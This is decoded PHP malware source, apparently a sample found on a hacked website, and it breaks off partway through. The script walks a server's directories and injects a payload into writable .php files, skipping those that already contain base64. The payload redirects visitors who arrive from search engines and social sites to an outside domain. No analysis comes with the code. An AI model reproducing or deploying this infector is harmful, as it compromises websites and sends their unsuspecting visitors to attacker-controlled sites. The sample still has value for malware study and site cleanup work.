/* Decoded by unphp.net */ set_time_limit(0); ignore_user_abort(1); if(!isset($_SERVER['DOCUMENT_ROOT'])) { if(isset($_SERVER['SCRIPT_FILENAME'])){ $_SERVER['DOCUMENT_ROOT'] = str_replace( '\', '/', substr($_SERVER['SCRIPT_FILENAME'], 0, 0-strlen($_SERVER['PHP_SELF']))); }; }; if(!isset($_SERVER['DOCUMENT_ROOT'])) { if(isset($_SERVER['PATH_TRANSLATED'])){ $_SERVER['DOCUMENT_ROOT'] = str_replace( '\', '/', substr(str_replace('\', '\', $_SERVER['PATH_TRANSLATED']), 0, 0-strlen($_SERVER['PHP_SELF']))); }; }; function dir_path($dir) { $code=' error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER[\'HTTP_REFERER\']; $uag=$_SERVER[\'HTTP_USER_AGENT\']; if ($uag) { if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){ if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")) {header("Location: http://www.a1werty.2waky.com/"); exit(); } } } } }'; $dh = opendir($dir); $path_curent = ''; while (($file = readdir($dh)) !== false) if ($file != "." and $file != "..") { $path = $dir."/".$file; makechange($path,$code); if (is_dir($path) && !stristr($path,"cgi-bin")) { $path_curent .= "$path"; $path_curent .= dir_path($path); } } closedir($dh); return $path_curent; } function makechange ($path,$code){ if (is_writable($path)) { if (is_file($path)) { if (stristr($path,".php") and !stristr($path,"banner") and !stristr($path,"post") and !stristr($path,"movie") and !stristr($path,"r57") and !stristr($path,"img")){ $fo=file_get_contents ($path); if (!stristr($fo,"base64")) { $aa=filectime ($path); $fi=preg_replace("/<\?php/","